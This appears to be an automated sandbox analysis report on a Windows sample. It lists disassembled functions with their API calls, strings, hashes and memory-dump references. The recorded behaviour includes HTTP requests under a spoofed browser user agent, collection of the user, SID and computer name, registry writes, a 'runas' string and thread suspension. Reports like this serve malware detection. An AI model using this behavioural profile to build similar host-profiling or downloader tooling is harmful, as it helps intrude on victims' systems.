Opcode ID: 1147e91df718062fa745bfa666ecf156e5c3766576d18fc0cc57608059ec4525
Instruction ID: 08336b17012e35458ce4148202868ce15bb43b8df2dc307a250c106e09e1d2cf
Opcode Fuzzy Hash: 1147e91df718062fa745bfa666ecf156e5c3766576d18fc0cc57608059ec4525
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00F06B90, Relevance: 57.2, APIs: 25, Strings: 5, Instructions: 4701networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(00F2CDDC,00000000,00000000,00000000,00000000), ref: 00F06BBC
InternetConnectA.WININET(00000000,00F0C50C,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00F06BDE
HttpOpenRequestA.WININET(00000000,00000000,?,00000000,00000000,00000000,00000000,00000001), ref: 00F06C23

Strings

5120, xrefs: 00F0BBF2, 00F0BDC5
invalid stoi argument, xrefs: 00F096B8, 00F096E0, 00F0ADFD, 00F0AE25
stoi argument out of range, xrefs: 00F096EA, 00F0AE2F
:::, xrefs: 00F09729, 00F0979D
152138533219, xrefs: 00F0934B, 00F093F5, 00F0A8E3, 00F0AAF7, 00F0AEA5

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: InternetOpen$ConnectHttpRequest
String ID: 152138533219$5120$:::$invalid stoi argument$stoi argument out of range
API String ID: 3864186401-2319865195
Opcode ID: af1a4dcd0fbe83f9073d8a8b731dbe8ac940226fd0cba5286903db0eb95673af
Instruction ID: f57cb1fd965b5f8fd3760ddd163e8c6027980ecd965632193b6c5423432a59f3
Opcode Fuzzy Hash: af1a4dcd0fbe83f9073d8a8b731dbe8ac940226fd0cba5286903db0eb95673af
Instruction Fuzzy Hash: 49833A71A002049BEF18EF78CC8579DBB72AF81304F108658E415AB3D7DB79DA85BB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F05F80, Relevance: 32.3, APIs: 16, Strings: 2, Instructions: 789COMMON

Download Yara Rule

Strings

abAp, xrefs: 00F06345
(, xrefs: 00F06604

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: ($abAp
API String ID: 0-533868396
Opcode ID: 22bf057758464148dad670ca3a999ec453bb4e723e2036c313755088581e1c15
Instruction ID: b62fb634904ebeca61c2d7163afb820352cbb0ad9a46838c904929df674b2664
Opcode Fuzzy Hash: 22bf057758464148dad670ca3a999ec453bb4e723e2036c313755088581e1c15
Instruction Fuzzy Hash: E9522671A002099BEF28DF68CC85B9EB776EF85304F108298F405E72D6DB759A94EF50

Uniqueness

Uniqueness Score: -1.00%

Function 00F01DA0, Relevance: 27.2, APIs: 18, Instructions: 157memoryCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(00000000,00F04DB3), ref: 00F01DCA
GetProcessHeap.KERNEL32(00000008,00F04DB3), ref: 00F01DDF
HeapAlloc.KERNEL32(00000000), ref: 00F01DE2
GetUserNameW.ADVAPI32(00000000,00F04DB3), ref: 00F01DF0
LookupAccountNameW.ADVAPI32(00000000,?,00000000,00F04DB3,00000000,?,?), ref: 00F01E13
GetProcessHeap.KERNEL32(00000008,00F04DB3), ref: 00F01E1E
HeapAlloc.KERNEL32(00000000), ref: 00F01E21
GetProcessHeap.KERNEL32(00000008,?), ref: 00F01E31
HeapAlloc.KERNEL32(00000000), ref: 00F01E34
LookupAccountNameW.ADVAPI32(00000000,?,00000000,00F04DB3,00000000,?,?), ref: 00F01E5E
ConvertSidToStringSidW.ADVAPI32(00000000,00000000), ref: 00F01E71
GetProcessHeap.KERNEL32(00000000,?), ref: 00F01F02
HeapFree.KERNEL32(00000000), ref: 00F01F0B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00F01F10
HeapFree.KERNEL32(00000000), ref: 00F01F13
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00F01F1A
HeapFree.KERNEL32(00000000), ref: 00F01F1D
LocalFree.KERNEL32(00000000), ref: 00F01F22

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Process$FreeName$Alloc$AccountLookupUser$ConvertLocalString
String ID:
API String ID: 3326663573-0
Opcode ID: 199cd68a2a2cbf2e87e06efa2c479f310e765de64c5b00c8377c32a3411d8526
Instruction ID: b41d243bd4ff8fc77e69d80420d67575a36ab5b42215774a04a0101123df0bef
Opcode Fuzzy Hash: 199cd68a2a2cbf2e87e06efa2c479f310e765de64c5b00c8377c32a3411d8526
Instruction Fuzzy Hash: E3513D75E00219ABDB20EFA5DC85BAFBBBCFB44350F144559E905A3280DB749E05ABA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F1DBF8, Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273COMMON

Download Yara Rule

APIs

Part of subcall function 00F1D8B1: CreateFileW.KERNEL32(00000000,00000000,?,00F1DCA1,?,?,00000000,?,00F1DCA1,00000000,0000000C), ref: 00F1D8CE

GetLastError.KERNEL32 ref: 00F1DD0C
__dosmaperr.LIBCMT ref: 00F1DD13
GetFileType.KERNEL32(00000000), ref: 00F1DD1F
GetLastError.KERNEL32 ref: 00F1DD29
__dosmaperr.LIBCMT ref: 00F1DD32
CloseHandle.KERNEL32(00000000), ref: 00F1DD52
CloseHandle.KERNEL32(00F1649E), ref: 00F1DE9F
GetLastError.KERNEL32 ref: 00F1DED1
__dosmaperr.LIBCMT ref: 00F1DED8

Strings

H, xrefs: 00F1DE5D

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 4ea7ca091af20ebff74b8baf917621140384d3edc2028c5e3247b2503598d007
Instruction ID: 40b842017ad8a2d066392dc44ae1810d7669e2841b12a47b7eeb6d0717b510bd
Opcode Fuzzy Hash: 4ea7ca091af20ebff74b8baf917621140384d3edc2028c5e3247b2503598d007
Instruction Fuzzy Hash: 66A13332A041489FCF19EF68DC91BEE7BB1AB46330F140159E811AF391DB399986EB51

Uniqueness

Uniqueness Score: -1.00%

Function 00F02430, Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 136networkfileCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 00F024D1
InternetOpenUrlW.WININET(00000000,00000000,00000000,00000000,00000000,00000000), ref: 00F024E3
InternetReadFile.WININET(00000000,?,00032000,00032000), ref: 00F024FA
InternetCloseHandle.WININET(00000000), ref: 00F0250B
InternetCloseHandle.WININET(00000000), ref: 00F0250E
InternetCloseHandle.WININET(00000000), ref: 00F0251F
InternetCloseHandle.WININET(00000000), ref: 00F02522

Strings

<, xrefs: 00F026AC
Microsoft Internet Explorer, xrefs: 00F024CC
runas, xrefs: 00F026C5

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: Internet$CloseHandle$Open$FileRead
String ID: <$Microsoft Internet Explorer$runas
API String ID: 4294395943-436926838
Opcode ID: e5db2afc5f2f8f78febd03a6b52b2d8d14deb7a6c3502436748876ad17d1fe3f
Instruction ID: 91673539c51d09ec336edfba4e4e3e548b23f69b20ba5e081ec1b2c4f1e598c4
Opcode Fuzzy Hash: e5db2afc5f2f8f78febd03a6b52b2d8d14deb7a6c3502436748876ad17d1fe3f
Instruction Fuzzy Hash: 7C410331E00219ABDB18DF64CC89BAEBBB9EF45300F108159F515A72D1D738AA41EFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00F0CA50, Relevance: 13.6, APIs: 5, Strings: 2, Instructions: 1365libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00F04010: GetVersionExW.KERNEL32(0000011C,?,?,80000001), ref: 00F04066

Part of subcall function 00F042C0: GetVersionExW.KERNEL32(0000011C,?,?,00000000), ref: 00F04316

Part of subcall function 00F01DA0: GetUserNameW.ADVAPI32(00000000,00F04DB3), ref: 00F01DCA
Part of subcall function 00F01DA0: GetProcessHeap.KERNEL32(00000008,00F04DB3), ref: 00F01DDF
Part of subcall function 00F01DA0: HeapAlloc.KERNEL32(00000000), ref: 00F01DE2
Part of subcall function 00F01DA0: GetUserNameW.ADVAPI32(00000000,00F04DB3), ref: 00F01DF0
Part of subcall function 00F01DA0: LookupAccountNameW.ADVAPI32(00000000,?,00000000,00F04DB3,00000000,?,?), ref: 00F01E13
Part of subcall function 00F01DA0: GetProcessHeap.KERNEL32(00000008,00F04DB3), ref: 00F01E1E
Part of subcall function 00F01DA0: HeapAlloc.KERNEL32(00000000), ref: 00F01E21
Part of subcall function 00F01DA0: GetProcessHeap.KERNEL32(00000008,?), ref: 00F01E31
Part of subcall function 00F01DA0: HeapAlloc.KERNEL32(00000000), ref: 00F01E34
Part of subcall function 00F01DA0: LookupAccountNameW.ADVAPI32(00000000,?,00000000,00F04DB3,00000000,?,?), ref: 00F01E5E
Part of subcall function 00F01DA0: ConvertSidToStringSidW.ADVAPI32(00000000,00000000), ref: 00F01E71

LoadLibraryA.KERNEL32(00000000), ref: 00F0CABA
GetProcAddress.KERNEL32(00000000,000002A8), ref: 00F0CB14
FreeLibrary.KERNEL32(00000000), ref: 00F0CB1F
GetUserNameW.ADVAPI32(?,00000100), ref: 00F0CB92
GetComputerNameExW.KERNEL32(00000002,?,00000100,?,?,?), ref: 00F0CC72

Part of subcall function 00F0EBB0: Concurrency::cancel_current_task.LIBCPMT ref: 00F0EC64

Strings

1e680d, xrefs: 00F0CED8
152138533219, xrefs: 00F0CD57

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: HeapName$AllocProcessUser$AccountLibraryLookupVersion$AddressComputerConcurrency::cancel_current_taskConvertFreeLoadProcString
String ID: 152138533219$1e680d
API String ID: 1144133639-2430080948
Opcode ID: 8ac6177e0f588c638ab16b4d8daa4bce1f93e77d2cb55d43855a4acbf6db3325
Instruction ID: 1ea6dd5b77f7d353710829db7f54446db54ec0da7547c30f869d26ff3389daee
Opcode Fuzzy Hash: 8ac6177e0f588c638ab16b4d8daa4bce1f93e77d2cb55d43855a4acbf6db3325
Instruction Fuzzy Hash: 6DB20871A001158BEF2DDB68CC8979EB736AB81304F1086D8E409973E6DB399FC4BB51

Uniqueness

Uniqueness Score: -1.00%

Function 00F1E774, Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 373timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00F1E7F6
_free.LIBCMT ref: 00F1E81A
_free.LIBCMT ref: 00F1E9A7
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00F2B608), ref: 00F1E9B9
_free.LIBCMT ref: 00F1EB73

Strings

W. Europe Standard Time, xrefs: 00F1EA28
W. Europe Daylight Time, xrefs: 00F1EA57

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$InformationTimeZone
String ID: W. Europe Daylight Time$W. Europe Standard Time
API String ID: 597776487-986674615
Opcode ID: f7acb68321712db916d9955de1862b9f8d414ecdad42219e9002c30a6aff5e7a
Instruction ID: f2f82db751405eddc8c1c667687e9220f8e89be49ff21b34b833701b0745aeda
Opcode Fuzzy Hash: f7acb68321712db916d9955de1862b9f8d414ecdad42219e9002c30a6aff5e7a
Instruction Fuzzy Hash: E0C10772E002099BDB249F68DC51BEA7BA9AF56330F144069EC91D7281E7399DC1F750

Uniqueness

Uniqueness Score: -1.00%

Function 00F04010, Relevance: 9.2, APIs: 6, Instructions: 235libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C,?,?,80000001), ref: 00F04066
GetModuleHandleA.KERNEL32(00000000,00000000), ref: 00F040C0
GetProcAddress.KERNEL32(00000000), ref: 00F040C7
GetNativeSystemInfo.KERNEL32(?), ref: 00F04163

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleInfoModuleNativeProcSystemVersion
String ID:
API String ID: 2167034304-0
Opcode ID: c6954d9dbb0650c0dbf30431c6767932f4461f00ce2a6f6b5968b1a5dc84ab59
Instruction ID: 347e4abb2f91027506e58c245e54fd4810330896cfd7daffc8b78f881daaa0d5
Opcode Fuzzy Hash: c6954d9dbb0650c0dbf30431c6767932f4461f00ce2a6f6b5968b1a5dc84ab59
Instruction Fuzzy Hash: 4C7106B1E092089BEB20DB68EC453ADB7A5EB45324F50029AED04D76D1EB75ADC0B7C1

Uniqueness

Uniqueness Score: -1.00%

Function 00F1E94F, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 171timeCOMMON

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00F2B608), ref: 00F1E9B9
_free.LIBCMT ref: 00F1E9A7

Part of subcall function 00F16601: HeapFree.KERNEL32(00000000,00000000,?,00F1C89A,00000000,00000000,00000000,E800F310,?,00F1C8C1,00000000,00000007,00000000,?,00F1CCC3,00000000), ref: 00F16617
Part of subcall function 00F16601: GetLastError.KERNEL32(00000000,?,00F1C89A,00000000,00000000,00000000,E800F310,?,00F1C8C1,00000000,00000007,00000000,?,00F1CCC3,00000000,00000000), ref: 00F16629

_free.LIBCMT ref: 00F1EB73

Strings

W. Europe Standard Time, xrefs: 00F1EA28
W. Europe Daylight Time, xrefs: 00F1EA57

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapInformationLastTimeZone
String ID: W. Europe Daylight Time$W. Europe Standard Time
API String ID: 2155170405-986674615
Opcode ID: 11a374f503209c6043ca6a5abf7e1069a22577880c6a1713e3d7c40d057ca109
Instruction ID: 7575659eb3dfe0bad23c94d272e7849849cff06c9148040a06ca11dfa65d8d53
Opcode Fuzzy Hash: 11a374f503209c6043ca6a5abf7e1069a22577880c6a1713e3d7c40d057ca109
Instruction Fuzzy Hash: D451B572D002199BDB14EF659C819EEBBBDBF45370B14026AE851E7291E7349EC0BB50

Uniqueness

Uniqueness Score: -1.00%

Function 00F042C0, Relevance: 7.6, APIs: 5, Instructions: 146libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C,?,?,00000000), ref: 00F04316
GetModuleHandleA.KERNEL32(00000000,00000000), ref: 00F04375
GetProcAddress.KERNEL32(00000000), ref: 00F0437C
GetNativeSystemInfo.KERNEL32(?), ref: 00F04414

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleInfoModuleNativeProcSystemVersion
String ID:
API String ID: 2167034304-0
Opcode ID: 01b19e0f1d89f69c6884b9f62e67ab1b02f8422f6432b6e2a45da94eb6216dbe
Instruction ID: 4969dc2fc96d20be2d90289c58f0b7e523270f4117ffb450619f2c5173ac89ce
Opcode Fuzzy Hash: 01b19e0f1d89f69c6884b9f62e67ab1b02f8422f6432b6e2a45da94eb6216dbe
Instruction Fuzzy Hash: 924148B1E002189BDB24FB68DC4A7DEB775EF41320F5042A8ED00972D1EB356984BBD2

Uniqueness

Uniqueness Score: -1.00%

Function 00F12943, Relevance: 7.6, APIs: 5, Instructions: 141pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00F12875), ref: 00F12965
GetFileInformationByHandle.KERNEL32(?,?), ref: 00F129BF
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00F12875,?,000000FF,00000000,00000000), ref: 00F12A4D
__dosmaperr.LIBCMT ref: 00F12A54
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 00F12A91

Part of subcall function 00F12CB9: __dosmaperr.LIBCMT ref: 00F12CEE

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: File__dosmaperr$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 1206951868-0
Opcode ID: b1d609a038efd3a87c9a89a771609c37ce42b84943cc2bfc8345b41114da8d11
Instruction ID: a412e5c5be4cf041d42b0657d6fb27dcfd88fac7031a23fa66aea2aa1c3ce5ff
Opcode Fuzzy Hash: b1d609a038efd3a87c9a89a771609c37ce42b84943cc2bfc8345b41114da8d11
Instruction Fuzzy Hash: 29416A71900248AFCB64DFA5DC459EFBBF9EF88310B004529F856D3210EA38A991EB60

Uniqueness

Uniqueness Score: -1.00%

Function 00F05D50, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 188COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00F05E9F

Strings

jjh, xrefs: 00F069A4
jjj, xrefs: 00F069D6
jjjj, xrefs: 00F069BB

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: __fread_nolock
String ID: jjh$jjj$jjjj
API String ID: 2638373210-3331015499
Opcode ID: 9ab8ec97e96a0247b898819ba551061b8cf0b2d1f15aa6cb85b2ff0f53bc870d
Instruction ID: 1b176018a732c8d003b1bfef05178c3ffc74f66661a3b8d4270f72b67de1bbad
Opcode Fuzzy Hash: 9ab8ec97e96a0247b898819ba551061b8cf0b2d1f15aa6cb85b2ff0f53bc870d
Instruction Fuzzy Hash: 5F513671A10105ABDB18EB68CC86BDF3A29AF85701F444518F4149B2C2D7BDDAC0FBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F049F0, Relevance: 6.3, APIs: 4, Instructions: 281COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104,?,?,?), ref: 00F04A0D

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: FileModuleName
String ID:
API String ID: 514040917-0
Opcode ID: e5a03650b1b9ecb8cf6627133f7f395d9397bf3bdced1918ac39a950f51bf617
Instruction ID: d80facf30d2bc3bb53a17877af46820df728b442edb8a158b91558538992719d
Opcode Fuzzy Hash: e5a03650b1b9ecb8cf6627133f7f395d9397bf3bdced1918ac39a950f51bf617
Instruction Fuzzy Hash: BE912670E00209AFDF14EFA8DC95BEEBBB9EF44304F504158E511A72C1DB796A45EBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F02890, Relevance: 4.6, APIs: 3, Instructions: 127threadsleepinjectionCOMMON

Download Yara Rule

APIs

Part of subcall function 00F0EF20: Concurrency::cancel_current_task.LIBCPMT ref: 00F0F041

CreateThread.KERNEL32(00000000,00000000,00F02820,00000000,00000000,00000000), ref: 00F028F6
Sleep.KERNEL32(00001388,?,?,?,?,?,?,?,?,00F09323,?,00000000,00000000), ref: 00F02903
SuspendThread.KERNEL32(00000000,?,?,?,?,?,?,?,?,00F09323,?,00000000,00000000), ref: 00F0290A

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: Thread$Concurrency::cancel_current_taskCreateSleepSuspend
String ID:
API String ID: 1039963361-0
Opcode ID: a6ad6e2da9ae7d2a1e1b90e8abbfd889838898a46bdf69e02fb4c2129358d1cd
Instruction ID: 4f1d42ecaee7bb2431aceeee8149a81acf702f92cda62e71070a1b0de05a43fa
Opcode Fuzzy Hash: a6ad6e2da9ae7d2a1e1b90e8abbfd889838898a46bdf69e02fb4c2129358d1cd
Instruction Fuzzy Hash: 66411831210248ABEB68DF28CC99B9D3B56EF45311F508618F955973D6CB39D4C0BB64

Uniqueness

Uniqueness Score: -1.00%

Function 00F03EC0, Relevance: 4.6, APIs: 3, Instructions: 120registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.KERNEL32(80000001,?,00000000,00000000,00000000,0002001F,00000000,?,00000000), ref: 00F03EF1
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00000002,80000001), ref: 00F03F10
RegSetValueExA.KERNEL32(80000001,?,00000000,00000001,?,?), ref: 00F03F3E

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateOpenValue
String ID:
API String ID: 2195001959-0
Opcode ID: b014cfda2cd8ff57eb012d96267342e5e53468bdcf4cf32f608da3f8f94e7209
Instruction ID: 7b09411fb4e59567ae2c2c109c1bd50c0a7bd51806aa86183a15f8f745bdc615
Opcode Fuzzy Hash: b014cfda2cd8ff57eb012d96267342e5e53468bdcf4cf32f608da3f8f94e7209
Instruction Fuzzy Hash: DB41B370210209AFEB2CCF28CC85BDD7B76EB45311F608218FD159A2D5D775EAC4AB94

Uniqueness

Uniqueness Score: -1.00%

Function 00F03D90, Relevance: 4.6, APIs: 3, Instructions: 108registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,00000400,00000000,00000001,00F077EC,?,00000000), ref: 00F03DD1
RegQueryValueExA.KERNEL32(00F077EC,?,00000000,00000000,?,00000400,?,00000000), ref: 00F03DF9
RegCloseKey.KERNEL32(00F077EC,?,00000000), ref: 00F03E02

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 69df28a6b774f801c35fba8802ec96b767500da801b966360335a3d8743c0923
Instruction ID: 3af59e023f0fb8a2397a8bfeb315888da499eae7246a8865dce5bafc6e1d7517
Opcode Fuzzy Hash: 69df28a6b774f801c35fba8802ec96b767500da801b966360335a3d8743c0923
Instruction Fuzzy Hash: FF31F671600109AFEB28DF24CD45BEE7B79EB85314F10425CF944972C1DB79EB89ABA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F1EAAA, Relevance: 4.6, APIs: 3, Instructions: 79COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00F1EB1D
_free.LIBCMT ref: 00F1EB73

Part of subcall function 00F1E94F: _free.LIBCMT ref: 00F1E9A7
Part of subcall function 00F1E94F: GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00F2B608), ref: 00F1E9B9

Memory Dump Source

Source File: 00000005.00000002.926883454.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000005.00000002.926871926.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926907446.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.926919620.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926928412.0000000000F33000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.926937980.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

